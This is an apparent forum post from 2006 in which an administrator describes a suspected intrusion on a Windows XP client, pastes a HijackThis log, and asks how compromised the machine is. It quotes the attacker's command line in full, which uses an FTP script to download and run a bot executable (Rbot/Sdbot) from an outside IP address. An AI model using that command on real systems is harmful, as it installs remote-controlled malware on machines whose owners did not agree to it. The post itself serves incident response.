One of my client machines which is running avast from my ADNM had something weird happen to it today.
While I was working on it, the start menu and run command opened and the following command was entered into it:
“cmd.exe /c del i&echo open 24.220.147.205 16803 > i&echo user 1 1 >> i &echo get 886.exe >> i &echo quit >> i &ftp -n -s:i &886.exe&del i&exit”
So my suspision took me a bit further to go download this file named 886.exe using a development machine. It seems that this file contains what SOPHOS calls a W32/Rbot-ARZ virus.
Anyways, I tried e-mailing it to my account and it was blocked by our outside mail scanner messagelabs and they called it W32/Sdbot.worm.gen.ax
Fortunately this was not downloaded. However, I am curious as to what was running this command and how compromised this system actually is.
I immediately ran hijackthis to get a record of what was running and then attempted to clean the system with adaware, and spybot s&d. They both found nothing exciting…
This is the hijackthis log file…
Logfile of HijackThis v1.99.1
Scan saved at 4:07:21 PM, on 11/3/2006
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)
Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\System32\acs.exe
C:\Acer\eManager\anbmServ.exe
C:\Program Files\Alwil Software\Avast4\aswServ.exe
C:\Program Files\Alwil Software\Avast4\AvAgent.exe
C:\Program Files\Common Files\Microsoft Shared\VS7DEBUG\MDM.EXE
C:\Program Files\OpenVPN\bin\openvpnserv.exe
C:\Program Files\OpenVPN\bin\openvpn.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\RealVNC\VNC4\WinVNC4.exe
C:\Program Files\Alwil Software\Avast4\aswWebSv.exe
C:\Program Files\Atheros\ACU.exe
C:\PROGRA~1\ALWILS~1\Avast4\aswDisp.exe
C:\Program Files\Hewlett-Packard\OrderReminder\OrderReminder.exe
C:\Program Files\Java\jre1.5.0_06\bin\jusched.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Documents and Settings\aflemming\Desktop\hijackthis\HijackThis.exe
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.easthants.ca/chambers/bin/login.cgi
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyServer = 192.168.11.4:3128
O2 - BHO: Adobe PDF Reader Link Helper - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 7.0\ActiveX\AcroIEHelper.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O4 - HKLM\..\Run: [ACU] "C:\Program Files\Atheros\ACU.exe" -nogui
O4 - HKLM\..\Run: [avast!] C:\PROGRA~1\ALWILS~1\Avast4\aswDisp.exe
O4 - HKLM\..\Run: [OrderReminder] C:\Program Files\Hewlett-Packard\OrderReminder\OrderReminder.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] C:\Program Files\Java\jre1.5.0_06\bin\jusched.exe
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - Global Startup: Adobe Reader Speed Launch.lnk = C:\Program Files\Adobe\Acrobat 7.0\Reader\reader_sl.exe
O8 - Extra context menu item: E&xport to Microsoft Excel - res://C:\PROGRA~1\MICROS~2\OFFICE11\EXCEL.EXE/3000
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.5.0_06\bin\ssv.dll
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~2\OFFICE11\REFIEBAR.DLL
O9 - Extra button: (no name) - {c95fe080-8f5d-11d2-a20b-00aa003c157a} - C:\WINDOWS\System32\shdocvw.dll
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O16 - DPF: {17492023-C23A-453E-A040-C7C580BBF700} (Windows Genuine Advantage Validation Tool) - http://go.microsoft.com/fwlink/?linkid=39204
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1131026867191
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} (MUWebControl Class) - http://update.microsoft.com/microsoftupdate/v6/V5Controls/en/x86/client/muweb_site.cab?1131027160060
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: Domain = easthants.ca
O17 - HKLM\Software\..\Telephony: DomainName = easthants.ca
O17 - HKLM\System\CS1\Services\Tcpip\Parameters: Domain = easthants.ca
O23 - Service: Atheros Configuration Service (ACS) - Unknown owner - C:\WINDOWS\System32\acs.exe
O23 - Service: Notebook Manager Service (anbmService) - OSA Technologies Inc. - C:\Acer\eManager\anbmServ.exe
O23 - Service: avast! iAVS4 Control Service (aswUpdSv) - Unknown owner - C:\Program Files\Alwil Software\Avast4\aswUpdSv.exe
O23 - Service: avast! Antivirus - Unknown owner - C:\Program Files\Alwil Software\Avast4\aswServ.exe
O23 - Service: avast! Mail Scanner - Unknown owner - C:\Program Files\Alwil Software\Avast4\aswMaiSv.exe" /service (file missing)
O23 - Service: avast! NetAgent - Unknown owner - C:\Program Files\Alwil Software\Avast4\AvAgent.exe" /ServiceStart (file missing)
O23 - Service: avast! Web Scanner - Unknown owner - C:\Program Files\Alwil Software\Avast4\aswWebSv.exe" /service (file missing)
O23 - Service: OpenVPN Service (OpenVPNService) - Unknown owner - C:\Program Files\OpenVPN\bin\openvpnserv.exe
O23 - Service: VNC Server Version 4 (WinVNC4) - Unknown owner - C:\Program Files\RealVNC\VNC4\WinVNC4.exe" -service (file missing)
Any ideas?
How compromised is this system?